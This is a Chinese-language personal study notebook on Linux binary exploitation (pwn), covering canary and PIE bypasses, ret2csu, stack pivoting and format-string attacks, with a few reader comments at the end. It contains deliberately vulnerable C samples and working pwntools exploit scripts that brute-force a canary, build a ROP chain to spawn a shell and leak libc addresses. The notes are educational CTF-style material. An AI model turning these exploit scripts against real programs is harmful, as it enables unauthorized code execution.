prologue
pwn笔记。只记新学到的东西,对其他人可能帮助不大。之前学习过 sploitfun 的linux x86 exploit tutorial,2015年的,使用的平台老了一点,但是写的挺好,推荐给没什么pwn基础的人看,最好看英语原版,网上的翻译版本翻译的比较烂。
一些零碎常识
- 通用寄存器,以13为例,寄存器的低32位
r13d
,double word
,低16位r13w
,word
,低8位r13b
,byte
- shellcode可以从网上查,比如这个网址,也可以使用python的shellcraft模块生成。有时候会限制shellcode的字符集,即有些字符不能使用,这时候可以尝试使用alpha3或msf对shellcode编码。
- cdq指令,Convert Double to Quad, 把EDX的所有位设为EAX最高位的值,如果EAX小于0x80000000,EDX就全0了。
- Magic Addr又称
one_gadget
,指专门通过一个地址获取shell的地址,一般位于system
函数的实现代码中。one_gadget
工具是用ruby
写的,所以安装之前需要先安装ruby
环境。one_gadget
会给出能拿到shell
的地址和限制条件。 main_arena_offset
libcSearcher
,在线的网站libc-database- pwntools里有和gdb交互的接口,
gdb.attach()
pop rdi
的机器码是5f c3
,pop r15
的机器码是41 5f c3
。pop r15
之后通常是ret
指令,所以pop r15
中可以拆出来pop rdi
。
ASLR & PIE
- ASLR,
/proc/sys/kernel/randomize_va_space
文件里的值可以控制系统级的ASLR,0为关闭,1为mmap base,stack,vdso page
将随机化。这意味着.so
文件将被加载到随机地址。链接时指定了-pie
选项的可执行程序,其代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)加载地址将被随机化。配置内核时如果指定了CONFIG_COMPAT_BRK
,则randomize_va_space
默认为1,此时heap
没有随机化。2就是在1的基础上增加堆地址随机化。配置内核时如果禁用CONFIG_COMPAT_BRK
那randomize_va_space
默认就是2VDSO
,Virtual Dynamically linked Shared Objects
, 就是内核提供虚拟的.so
, 这个.so
文件不在磁盘上,而是在内核里头。内核把包含某.so
的内存页在程序启动的时候映射入其内存空间,对应的程序就可以当普通的.so
来使用里头的函数。PIE
,Position-Independent-Executable
开启PIE
的程序用IDA打开的话,text
等段的地址就只有最低几位了,表示偏移,没有真实的地址。CONFIG_COMPAT_BRK=y
, 关闭堆地址随机化,用来支持老的binary,COMPAT一般都与兼容相关
how to bypass canary
- 格式化字符串漏洞泄露canary,由于canary最低字节是0,需要先覆盖修改掉最后一位,比如
read
造成的栈溢出,read
不会在最后加00,所以可以只修改掉canary的最低字节。 - 爆破。只针对有
fork
函数的程序。fork
出来的子进程的virtual memory和父进程基本是一样的,其中canary是一样的,所以可以逐位爆破,如果程序崩溃了说明这一位不对,程序正常说明猜对了,最终爆破出正确的canary。详细的在下面。 - stack smashing, 故意触发
canary
的检测。详细的在下面。 - 劫持
__stack_chk_fail
,canary被破坏后就会跳转到这个函数,这个函数的地址在got
表中,修改这个地址然后故意破坏canary就可以控制程序了。
how to bypass PIE
- 利用其他漏洞泄露基址,偏移可以在IDA中看到,就知道实际地址了
- 另一种方法就是
partial writing
。- 代码段地址的最后3个数(十六进制)的偏移是已知的
- 程序的加载地址一般都是以内存页为单位的,所以程序的基地址最后3个数(十六进制)都是0。也就是只有前面的地址是未知的。
- 栈上的返回地址一般是返回到
text
代码段,这个返回地址的基址肯定是正确的,那就可以利用这个返回地址,只溢出修改其最后两个字节,只修改一个半字节(3个十六进制数)是做不到的。 - 这样只有1个数(hex)不确定,需要爆破,固定这个不确定的数,每次尝试十六分之一的概率成功。
- gdb内置函数
rebase
,使用b *$rebase(0x933具体偏移)
在只知道偏移的情况下下断点,gdb会根据此次的基址自已算出来实际地址。 - gdb在调试开启
pie
的程序时,一上来就disass
的话显示的地址也是只有偏移,run
之后才会有随机的实际的地址。
ret2csu
- 图中下半部分,栈上的寻址实际是
[rsp+0x8]
,[rsp+0x10]
,[rsp+0x18]
以此类推 - 在64位的程序中,
__libc_csu_init
这个函数是用来对libc
初始化的,具体不懂。一般程序都会调用libc
函数,所以这个函数极大概率会存在。这个函数常用来构造ROP。- 先执行后半段,用栈上的值给寄存器赋值,然后控制其返回到上半部分,可以实现给
edi,rsi,rdx
赋值,这是用来传参的前3个寄存器 - 借用之后的
call
指令,控制r12,rbx
可以实现函数调用
- 先执行后半段,用栈上的值给寄存器赋值,然后控制其返回到上半部分,可以实现给
- 举个实例。假设现在要利用这个来调用
write(1, write_got, 8)
,来输出write
函数的地址,进而泄露libc
地址。这里只是以write
为例,任何已经调用过的libc
函数都可以。r12+rbx*8=write_got
- 设置参数,
edi=r13d=1
,rsi=r14=write_got
,rdx=r15=8
- 为了使之后的
jnz
不跳转,继续向下执行,以便继续构造rop
链,需要rbx == rbp
,即rbx + 1 = rbp
(add
指令),让rbx=0
,rbp=1
,r12=write_got
- 第二次执行到下半部分时,有一个
add rsp, 38h
的指令,所以如果需要再次利用的话需要0x38的padding - 例题可以搜索
蒸米level5
stack smashing using canary
在开启canary
的程序中,发生栈溢出后会提示,类似这面这样。
$ ./test //运行示例程序,程序叫test
aaaaaaaaaaaaaaaaaaaaaa... //输入一大串,栈溢出
*** stack smashing detected ***: ./test terminated //提示检测到栈溢出,程序终止
注意到,提示中输出了程序名test
,这个程序的名称是不在elf
文件里的,但是会输出对应的程序名,说明程序名在内存中。
栈溢出被canary
检测到后会调用__stack_chk_fail
这个函数。在libc
中看这个函数的源码。2.23版本的。
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
这个函数直接调用了另一个函数,再看被调用的函数的源码。
void __attribute__ ((noreturn)) internal_function
__fortify_fail (const char *msg)
{
/*The loop is added only to keep gcc happy. */
while(1)
__libc_message(2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>"); //2.31版本第二个%s参数直接砍了
}
可以确定程序名是argv[0]
,是main
函数的参数。
如果flag
在内存里,通过溢出修改main
函数参数argv[0]
为flag
的地址,那输出的就是flag
了。
glibc-2.27
代码变了。下面是stack_chk_fail.c
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail_abort (false, "stack smashing detected");
}
下面是fortify_fail.c
void __attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
/*The loop is added only to keep gcc happy. Don't pass down
__libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
may point to the corrupted stack. */
while(1)
__libc_message(need_backtrace ? (do_abort | do_backtrace) : do_abort,
"*** %s ***: %s terminated\n",
msg,
(need_backtrace && __libc_argv[0] != NULL
? __libc_argv[0] : "<unknown>"));
}
void __attribute__ ((noreturn))
__fortify_fail (const char *msg)
{
__fortify_fail_abort(true, msg);
}
这个版本里need_backtrace
是false
,最后会输出<unknown>
,不能这么利用了。2.27和2.29都是<unknown>
。
2.31砍掉了第二个%s
参数。所以stack smashing
在2.23之后都不行了。
bypassing canary using brute force
canary
最低字节是0,64位的程序需要爆破7个字节。下面是一个简单的示例的源代码。
//开启canary x64 no-pie
void backdoor()
{
system("/bin/sh\x00");
}
void vuln_func()
{
puts("overflow this buffer");
char buf[0x20];
read(0, buf, 0x60);
}
int main()
{
int pid = 0;
while(1)
{
pid = fork();
if(pid < 0) exit(0);
if(!pid) // child
{
vuln_func();
puts("good");
}
else
wait();
}
return 0;
}
子进程会调用漏洞函数,漏洞函数有明显的溢出,如果漏洞函数正常返回,就会输出good。父进程会挂起等子进程终止。循环。所以溢出修改canary
,每一次修改1字节,如果猜对了会输出good,猜错了不会输出。最终爆破出来整个canary
,就可以把漏洞函数的返回地址修改为后门函数了。利用代码如下。
from pwn import *
p = process('./test')
p.recvuntil('overflow this buffer\n')
canary = '\x00'
for byte_cnt in range(7): #爆破7个字节,64位
for i in range(0x100): # 0x00 - 0xff
p.send('a' * 0x28 + canary + chr(i)) # 0x28缓冲区大小需要具体计算
msg = p.recvuntil('overflow this buffer\n')
if 'good' in msg:
canary += chr(i)
break
print(hex(u64(canary)))
p.sendline('a' * 0x28 + canary + 'a' * 8 + p64(backdoor_addr))
p.interactive()
stack pivot
这个技术主要就是修改rbp
,并修改返回地址为leave ret
指令的地址,这样就可以控制rbp,rsp,rip
,这一点有点像sploitfun写的bypassing nx bit using chained return to libc。下面是另外一个例子,这个更难一点。
下面是漏洞程序源代码,IDA
给出的伪代码。程序没有后门函数也没有system
函数。ASLR是开的,栈和libc
地址是随机的,需要泄露。没有pie
,代码地址是固定的。还有canary
和NX
。大体思路是泄露canary
和libc
地址,构造rop
,利用stack pivot
执行ROP。
unsigned __int64 func()
{
char buf[216]; //[rsp+0h] [rbp-E0h]
unsigned __int64 v2; //canary
v2 = __readfsqword(0x28u);
read(0, buf, 0xF0uLL); //溢出10h,刚好覆盖返回地址
puts(buf); //可以泄露canary和rbp
read(0, buf, 0xF0uLL); //再次溢出
return __readfsqword(0x28u) ^ v2; //判断canary是否被修改
}
int main()
{
init(); //关掉stdin, stdout, stderr缓冲
func();
return 0;
}
python
利用代码
from pwn import *
pop_rdi_addr = 0x400813 # 这几个地址都可以在IDA中获得
leave_ret_addr = 0x400789
main_addr = 0x40078B
p = process('test')
elf = ELF('test')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p.send('a' * 0xd5 + 'bbbb') # 用最后的一个'b'覆盖canary最低字节的00
p.recvuntil('bbbb') # 前面打印的没用,不用接收
recvs = p.recv(13) # canary 7字节; rbp 6字节,高位2字节是0不会打印出来
canary = u64(recvs[:7].rjust(8, '\x00'))
# 泄露出来的rbp指向main的rbp,gdb调试得知main_rbp和这个rbp地址相差0x10,0xe0是buf到rbp的距离
# 再减去8,这样才能在之后让rsp指向buf
fake_rbp = u64(recvs[7:].ljust(8, '\x00')) - 0x10 - 0xe0 - 8
# rdi传参为puts的got表项,即puts的实际地址。通过plt调用puts函数打印puts函数地址 之后再次返回到main函数
payload = p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
# ljust就是在后面填充
payload = payload.ljust(0xd8, '\x00')
payload += p64(canary) + p64(fake_rbp) + p64(leave_ret_addr)
p.send(payload)
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) -libc.sym['puts']
payload2 = p64(pop_rdi_addr) + p64(libc.search('/bin/sh\x00').next()) + p64(libc.sym['system'])
payload2 = payload2.ljust(0xd8, '\x00')
# 再次调用main之后栈发生了变化,需要再偏移一下,偏移可以调试得到
payload2 += p64(canary) + p64(fake_rbp - 0xd0 - 8) + p64(leave_ret_addr)
p.send(payload2)
p.send(payload2)
p.interactive()
首先溢出修改canary
的最低字节,使得puts
输出泄露canary
和rbp
。canary
就被绕过了。之后再次溢出,在buf
中布置ROP
,溢出修改rbp
为buf-8
地址,返回地址修改为leave ret
指令地址。这样就可以把rsp
指向buf
,ret
就会让rip
指向构造好的rop
。泄露libc
地址。再次调用main
,这时栈地址就变了,main
的栈帧更低了,所以rbp
需要偏移一下。再构造rop
就可以get shell了。
stack pivot条件
- 栈溢出控制程序执行流
- 存在可以控制内容的内存(栈、堆、bss…),且需要泄露地址
SROP
sigreturn oriented programming
。sigreturn
是一个系统调用,在类UNIX
系统中处理信号时会被调用。
格式化字符串漏洞
//格式化字符串基本格式
%[parameter][flags][field width][.precision][length]type
1. [中括号内的为可选]
2. parameter, n$, 获取格式化字符串中的指定参数。
printf("%3$p", a, b, c) 只会输出第三个参数c
3. flags, 可以是+, -, 0, #, 空格。控制输出的对齐方式、空白字符的填充、符号的显示等
4. field width域宽。可以用于输出大量字符
5. precision精度
6. length指定浮点数或整型参数的长度,可以是以下字符。这个在漏洞利用中经常使用。
hh: 1 byte h: 2 bytes l: 4 bytes ll: 8 bytes
7. type, conversion specifier, 可以是以下字符
d/i: int u: unsigned int
x/X: hex unsigned int, x输出小写字母, X输出大写字母
s: string c: unsigned char p: void*
n: 把已经输出的字符个数写入对应的int*指向的变量
泄露信息
// gcc ./test -o test -no-pie -m32
int main()
{
char s[40];
scanf("%s", s);
printf(s); //直接传s,s的内容是用户可控的
return 0;
}
32位用栈传参,printf
参数数量可变。运行程序,输入aaaa
程序正常输出aaaa
。
在gdb
里调试,printf
参数位置和输入位置也就是缓冲区s
位置相差0x14
。如果把s
当作参数之一的话,那就是printf
的第 6 个参数,也就是格式化字符串的第 5 个参数。
如果输入aaaa%5$p
,程序输出aaaa0x61616161
。
因为第一个参数s
被当作格式化字符串,前面的a
直接输出,遇到%5$p
就被解析成,要把格式化字符串的第 5 个参数当成指针输出其值。虽然实际只有 1 个参数,但是程序还是会从栈上去取参数,对应的位置就是s
的地址,就把aaaa
以十六进制打印了出来。
如果输入aaaa%5$s
程序就崩溃了,因为%s
会把对应的参数当成地址去解析,但是这里对应的参数内容是aaaa
这不是个有效地址,就崩溃了。
如果输入的是个有效地址呢。
from pwn import *
p = process('./test')
elf = ELF('./test')
libc_got = elf.got['__libc_start_main'] # __libc_start_main的got表地址
payload = p32(libc_got) + '%5$s'.encode()
p.sendline(payload)
p.recv(4) # 前面4字节没用 不用接收
addr = u32(p.recv(4))
print(hex(addr))
输入的地址是got
表地址,这样就会把这个地址里的东西打印出来,也就泄露了__libc__start_main
函数的真实地址。
不过大部分情况下并不使用%s
来泄露地址,因为有些程序开启了pie
,没办法泄露具体地址的数据。通常选择在栈中找数据。因为printf
函数的栈空间里有text
段的地址,有libc
地址,也有栈地址,只需要确定栈中某一处数据是printf
函数的第几个参数,就能通过%n$p
来泄露栈中的数据,没有必要使用%s
。
使用%n任意写
使用%Xc%Y$n
这种形式(X
是写入的数,Y
是指定的第几个参数)就可以实现任意地址写任意数据。%n
是一次性写4字节,%hn, %hhn
分别可以写2个,1个字节。大部分情况使用后两个。pwntools
中的函数fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
就是利用的%n
任意写。找出偏移量,以上面提到的程序为例,偏移就是5,然后指定想任意写的地址和值,这个函数就把payload写好返回。一般形式就是payload=fmtstr_payload(offset, {address:value})
。
%a
%a
以double
型的十六进制格式输出栈中变量- 当程序开启
FORTIFY
机制后,gcc -D_FORTIFY_SOURCE=2
程序在编译时所有的printf
函数都会被__printf_chk
函数替换。函数区别如下。- 不能使用
%n$p
不连续打印,比如%3$p
必须和%1$p%2$p
同时使用 - 在使用
%n
的时候会做一些检查
- 不能使用
我嘞个豆竟然在acwing看到pwn
本科时候学的……把acwing当网盘用了。后来觉得自己太菜了,这行前景也不行就不搞了……
嘶,我现在就在学二进制…(害怕.jpg,希望本科毕业找到工作…
加油
6